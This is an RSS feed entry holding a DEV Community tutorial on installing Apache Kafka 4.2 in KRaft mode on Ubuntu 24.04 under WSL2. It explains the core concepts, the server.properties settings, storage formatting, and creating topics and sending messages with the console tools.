<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sanjay Ghosh</title>
    <description>The latest articles on DEV Community by Sanjay Ghosh (@sanjayghosh).</description>
    <link>https://dev.to/sanjayghosh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3733607%2F167b985e-e1fa-44ef-afd9-7e6c162a39fe.jpg</url>
      <title>DEV Community: Sanjay Ghosh</title>
      <link>https://dev.to/sanjayghosh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sanjayghosh"/>
    <language>en</language>
    <item>
      <title>Installing Apache Kafka 4.2 on Ubuntu (WSL2): A Complete KRaft Step-by-Step Guide</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Fri, 17 Jul 2026 18:58:38 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/installing-apache-kafka-42-on-ubuntu-wsl2-a-complete-kraft-step-by-step-guide-4bmf</link>
      <guid>https://dev.to/sanjayghosh/installing-apache-kafka-42-on-ubuntu-wsl2-a-complete-kraft-step-by-step-guide-4bmf</guid>
      <description>&lt;h2&gt;
  
  
  Installing Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) Using KRaft Mode: A Complete Step-by-Step Guide
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Learn how to install Apache Kafka 4.2 in KRaft mode, understand its architecture, create topics, produce and consume messages, and troubleshoot common configuration issues—all without ZooKeeper.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🚀 Introduction
&lt;/h2&gt;

&lt;p&gt;Apache Kafka has become the de facto standard for building &lt;strong&gt;event-driven&lt;/strong&gt;, &lt;strong&gt;real-time&lt;/strong&gt;, and &lt;strong&gt;high-throughput&lt;/strong&gt; applications. Whether you're processing millions of financial transactions, collecting application logs, streaming IoT sensor data, or connecting microservices, Kafka provides a scalable and reliable messaging platform.&lt;/p&gt;

&lt;p&gt;Until recently, setting up Kafka required running &lt;strong&gt;Apache ZooKeeper&lt;/strong&gt; alongside Kafka brokers. While powerful, ZooKeeper added operational complexity and introduced another distributed system that administrators had to manage.&lt;/p&gt;

&lt;p&gt;Beginning with recent Kafka releases, &lt;strong&gt;KRaft (Kafka Raft Metadata mode)&lt;/strong&gt; removes this dependency by allowing Kafka to manage its own metadata internally. This makes installation simpler, reduces operational overhead, and improves scalability.&lt;/p&gt;

&lt;p&gt;In this guide, we'll install &lt;strong&gt;Apache Kafka 4.2&lt;/strong&gt; on &lt;strong&gt;Ubuntu 24.04.4 LTS (WSL2)&lt;/strong&gt;, configure a single-node KRaft cluster, and walk through the complete lifecycle:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Installing Kafka&lt;/li&gt;
&lt;li&gt;Understanding the Kafka architecture&lt;/li&gt;
&lt;li&gt;Configuring KRaft mode&lt;/li&gt;
&lt;li&gt;Starting the broker&lt;/li&gt;
&lt;li&gt;Creating topics&lt;/li&gt;
&lt;li&gt;Producing and consuming messages&lt;/li&gt;
&lt;li&gt;Troubleshooting common issues&lt;/li&gt;
&lt;li&gt;Understanding the purpose of each configuration parameter&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Rather than simply listing commands, I'll explain &lt;strong&gt;why&lt;/strong&gt; each step is necessary so that you understand how Kafka works under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Apache Kafka?
&lt;/h2&gt;

&lt;p&gt;Apache Kafka is a &lt;strong&gt;distributed event streaming platform&lt;/strong&gt; designed to move data reliably and efficiently between applications.&lt;/p&gt;

&lt;p&gt;Instead of applications communicating directly with each other, they communicate through Kafka.&lt;/p&gt;

&lt;p&gt;A producing application writes messages to Kafka.&lt;/p&gt;

&lt;p&gt;Kafka stores those messages reliably.&lt;/p&gt;

&lt;p&gt;One or more consuming applications read those messages whenever they need them.&lt;/p&gt;

&lt;p&gt;This decouples applications from one another, allowing them to scale independently.&lt;/p&gt;

&lt;p&gt;For example, imagine an online shopping application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Customer Places Order
          │
          ▼
      Order Service
          │
          ▼
       Kafka Topic
      /      |      \
     ▼       ▼       ▼
 Inventory  Billing  Shipping
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Order Service publishes a single event.&lt;/p&gt;

&lt;p&gt;Inventory updates stock.&lt;/p&gt;

&lt;p&gt;Billing processes the payment.&lt;/p&gt;

&lt;p&gt;Shipping prepares the shipment.&lt;/p&gt;

&lt;p&gt;Each service works independently without knowing about the others.&lt;/p&gt;

&lt;p&gt;This is one of Kafka's greatest strengths.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kafka Architecture
&lt;/h2&gt;

&lt;p&gt;The following diagram illustrates the overall architecture of Apache Kafka running in &lt;strong&gt;KRaft mode&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;(Insert the cover architecture image here.)&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The architecture consists of three primary components:&lt;/p&gt;

&lt;h3&gt;
  
  
  Producers
&lt;/h3&gt;

&lt;p&gt;Producers publish messages into Kafka.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Java applications&lt;/li&gt;
&lt;li&gt;Spring Boot microservices&lt;/li&gt;
&lt;li&gt;Python applications&lt;/li&gt;
&lt;li&gt;IoT devices&lt;/li&gt;
&lt;li&gt;Web applications&lt;/li&gt;
&lt;li&gt;Log collection systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A producer simply sends data—it doesn't need to know who will consume it.&lt;/p&gt;




&lt;h4&gt;
  
  
  Kafka Cluster
&lt;/h4&gt;

&lt;p&gt;The Kafka cluster is responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Receiving messages&lt;/li&gt;
&lt;li&gt;Persisting messages to disk&lt;/li&gt;
&lt;li&gt;Replicating data&lt;/li&gt;
&lt;li&gt;Managing topics&lt;/li&gt;
&lt;li&gt;Managing partitions&lt;/li&gt;
&lt;li&gt;Delivering messages to consumers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In KRaft mode, the cluster also manages its own metadata through the Controller.&lt;/p&gt;




&lt;h4&gt;
  
  
  Consumers
&lt;/h4&gt;

&lt;p&gt;Consumers subscribe to topics and process messages.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Analytics applications&lt;/li&gt;
&lt;li&gt;Fraud detection services&lt;/li&gt;
&lt;li&gt;Notification systems&lt;/li&gt;
&lt;li&gt;Machine Learning pipelines&lt;/li&gt;
&lt;li&gt;Search indexing services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Multiple consumers can read the same topic independently.&lt;/p&gt;




&lt;h2&gt;
  
  
  Core Kafka Concepts
&lt;/h2&gt;

&lt;p&gt;Before installing Kafka, it's helpful to understand a few important concepts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Broker
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;Broker&lt;/strong&gt; is a Kafka server.&lt;/p&gt;

&lt;p&gt;It receives messages from producers and stores them on disk.&lt;/p&gt;

&lt;p&gt;A Kafka cluster may contain one broker or hundreds of brokers.&lt;/p&gt;

&lt;p&gt;For this tutorial, we'll use a &lt;strong&gt;single broker&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Topic
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;Topic&lt;/strong&gt; is a logical category used to organize messages.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;orders&lt;/span&gt;

&lt;span class="s"&gt;payments&lt;/span&gt;

&lt;span class="s"&gt;customer-events&lt;/span&gt;

&lt;span class="s"&gt;application-logs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Applications publish messages to topics.&lt;/p&gt;

&lt;p&gt;Consumers subscribe to topics.&lt;/p&gt;




&lt;h3&gt;
  
  
  Partition
&lt;/h3&gt;

&lt;p&gt;Each topic is divided into one or more &lt;strong&gt;Partitions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Partitions allow Kafka to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scale horizontally&lt;/li&gt;
&lt;li&gt;Process data in parallel&lt;/li&gt;
&lt;li&gt;Increase throughput&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a small development environment, one partition is usually sufficient.&lt;/p&gt;

&lt;p&gt;Production systems often contain dozens or even hundreds of partitions.&lt;/p&gt;




&lt;h3&gt;
  
  
  Producer
&lt;/h3&gt;

&lt;p&gt;A Producer writes messages to a Kafka topic.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Order Created

Payment Successful

Inventory Updated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each message is appended sequentially to the topic.&lt;/p&gt;




&lt;h3&gt;
  
  
  Consumer
&lt;/h3&gt;

&lt;p&gt;A Consumer continuously reads messages from Kafka.&lt;/p&gt;

&lt;p&gt;Consumers remember the last message they processed using &lt;strong&gt;Offsets&lt;/strong&gt;, allowing them to resume processing after a restart.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is KRaft?
&lt;/h2&gt;

&lt;p&gt;Older versions of Kafka required &lt;strong&gt;Apache ZooKeeper&lt;/strong&gt; to maintain cluster metadata.&lt;/p&gt;

&lt;p&gt;ZooKeeper stored information such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Broker registration&lt;/li&gt;
&lt;li&gt;Controller election&lt;/li&gt;
&lt;li&gt;Topic metadata&lt;/li&gt;
&lt;li&gt;Partition assignments&lt;/li&gt;
&lt;li&gt;Cluster configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While reliable, this meant administrators had to deploy and maintain &lt;strong&gt;two distributed systems&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Beginning with modern Kafka releases, this dependency has been removed.&lt;/p&gt;

&lt;p&gt;Kafka now uses &lt;strong&gt;KRaft (Kafka Raft Metadata mode)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of relying on ZooKeeper, Kafka stores metadata internally using the &lt;strong&gt;Raft consensus protocol&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This results in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Simpler deployment&lt;/li&gt;
&lt;li&gt;Fewer moving parts&lt;/li&gt;
&lt;li&gt;Lower operational overhead&lt;/li&gt;
&lt;li&gt;Improved scalability&lt;/li&gt;
&lt;li&gt;Better long-term maintainability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For new Kafka deployments, &lt;strong&gt;KRaft is the recommended architecture&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Installing Apache Kafka 4.2
&lt;/h2&gt;

&lt;p&gt;Before installing Kafka, verify that Java 11 or later is installed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Download Kafka:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://downloads.apache.org/kafka/4.2.0/kafka_2.13-4.2.0.tgz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extract the archive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xzf&lt;/span&gt; kafka_2.13-4.2.0.tgz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate into the installation directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;kafka_2.13-4.2.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, Kafka has been downloaded but is not yet initialized.&lt;/p&gt;

&lt;p&gt;The next step is configuring Kafka to run in &lt;strong&gt;KRaft mode&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Understanding &lt;code&gt;server.properties&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Almost every important Kafka configuration lives inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although this file contains many configuration options, only a handful are essential for a single-node KRaft installation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;process.roles&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;broker,controller&lt;/span&gt;

&lt;span class="py"&gt;node.id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="py"&gt;controller.quorum.voters&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1@localhost:9093&lt;/span&gt;

&lt;span class="py"&gt;listeners&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PLAINTEXT://:9092,CONTROLLER://:9093&lt;/span&gt;

&lt;span class="py"&gt;advertised.listeners&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PLAINTEXT://localhost:9092,CONTROLLER://localhost:9093&lt;/span&gt;

&lt;span class="py"&gt;controller.listener.names&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;CONTROLLER&lt;/span&gt;

&lt;span class="py"&gt;log.dirs&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/tmp/kraft-combined-logs&lt;/span&gt;

&lt;span class="py"&gt;delete.topic.enable&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's briefly understand what each property does.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;process.roles&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defines whether this node acts as a Broker, Controller, or both.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;node.id&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unique identifier for the Kafka node.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;controller.quorum.voters&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identifies which nodes participate in controller elections.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;listeners&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specifies the network ports Kafka listens on.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;advertised.listeners&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tells clients how they should connect to Kafka.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;controller.listener.names&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Indicates which listener is reserved for controller communication.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;log.dirs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Directory used to store Kafka logs and metadata.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;delete.topic.enable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enables topic deletion.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Notice that Kafka listens on &lt;strong&gt;two ports&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9092&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Producers, Consumers, Kafka Clients&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9093&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Internal KRaft Controller Communication&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Your Java applications, producers, consumers, and administration tools will typically connect to &lt;strong&gt;9092&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;9093&lt;/strong&gt; listener is reserved for Kafka's internal controller operations.&lt;/p&gt;




&lt;p&gt;In the next section, we'll initialize Kafka storage, start the broker, create our first topic, and begin publishing and consuming messages.&lt;/p&gt;

&lt;h2&gt;
  
  
  Initializing Kafka Storage and Starting the Broker
&lt;/h2&gt;

&lt;p&gt;Now that Kafka is installed and &lt;code&gt;server.properties&lt;/code&gt; is configured, the next step is to initialize the metadata storage required by &lt;strong&gt;KRaft mode&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike older Kafka versions that relied on ZooKeeper to maintain cluster metadata, KRaft stores metadata directly within Kafka. Before the broker can start, this storage must be initialized exactly once.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 – Generate a Cluster ID
&lt;/h2&gt;

&lt;p&gt;Every Kafka cluster has a unique &lt;strong&gt;Cluster ID&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Generate one using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-storage.sh random-uuid
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NBPgGxgHTuuFVYzV3U6oyA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your value will be different.&lt;/p&gt;

&lt;p&gt;Save this value because it will be used during the storage formatting step.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Format the Metadata Storage
&lt;/h2&gt;

&lt;p&gt;Initialize the storage using the Cluster ID that was generated in the previous step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-storage.sh format &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-t&lt;/span&gt; NBPgGxgHTuuFVYzV3U6oyA &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-c&lt;/span&gt; config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If everything is configured correctly, Kafka will display output similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Formatting dynamic metadata voter directory /tmp/kraft-combined-logs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command creates the metadata required by the KRaft controller.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Formatting should only be performed when creating a new Kafka cluster. Running it again on an existing cluster will erase the existing metadata.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 3 – Start Kafka
&lt;/h2&gt;

&lt;p&gt;Start the Kafka broker using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-server-start.sh config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kafka starts as a foreground process.&lt;/p&gt;

&lt;p&gt;You should begin seeing log messages indicating that the broker and controller have started successfully.&lt;/p&gt;

&lt;p&gt;Leave this terminal running.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding the Listener Ports
&lt;/h2&gt;

&lt;p&gt;One question that often confuses new Kafka users is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Why does Kafka use two ports?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Earlier we configured:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;listeners&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PLAINTEXT://:9092,CONTROLLER://:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These listeners serve different purposes.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9092&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Client communication (Producers, Consumers, Admin tools, Java applications)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9093&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Internal KRaft Controller communication&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Think of &lt;strong&gt;9092&lt;/strong&gt; as the public entrance to Kafka.&lt;/p&gt;

&lt;p&gt;Applications connect to this port to publish and consume messages.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;9093&lt;/strong&gt; listener is reserved for Kafka itself. It is used internally by the controller to manage cluster metadata and coordinate the broker.&lt;/p&gt;

&lt;p&gt;As an application developer, you will almost always connect to &lt;strong&gt;9092&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Creating Your First Topic
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;Topic&lt;/strong&gt; is a logical channel used to organize messages.&lt;/p&gt;

&lt;p&gt;Let's create one named &lt;strong&gt;my-test-topic&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--create&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Created topic my-test-topic.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that we connected using &lt;strong&gt;localhost:9092&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;--bootstrap-server&lt;/code&gt; parameter specifies the Kafka broker that the client should contact.&lt;/p&gt;




&lt;h2&gt;
  
  
  Listing Existing Topics
&lt;/h2&gt;

&lt;p&gt;To display all available topics:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-test-topic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your Kafka installation contains multiple topics, each one will be listed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Describing a Topic
&lt;/h2&gt;

&lt;p&gt;To display detailed information about a topic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--describe&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typical output includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Topic name&lt;/li&gt;
&lt;li&gt;Partition count&lt;/li&gt;
&lt;li&gt;Replication factor&lt;/li&gt;
&lt;li&gt;Leader&lt;/li&gt;
&lt;li&gt;Replicas&lt;/li&gt;
&lt;li&gt;In-Sync Replicas (ISR)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding these values becomes increasingly important as your Kafka cluster grows beyond a single broker.&lt;/p&gt;




&lt;h2&gt;
  
  
  Producing Messages
&lt;/h2&gt;

&lt;p&gt;Now let's send our first messages.&lt;/p&gt;

&lt;p&gt;Open a &lt;strong&gt;second terminal&lt;/strong&gt; and execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-producer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You'll see a prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything you type is immediately published to Kafka.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each line becomes a separate Kafka message.&lt;/p&gt;




&lt;h2&gt;
  
  
  Consuming Messages
&lt;/h2&gt;

&lt;p&gt;Open a &lt;strong&gt;third terminal&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--from-beginning&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



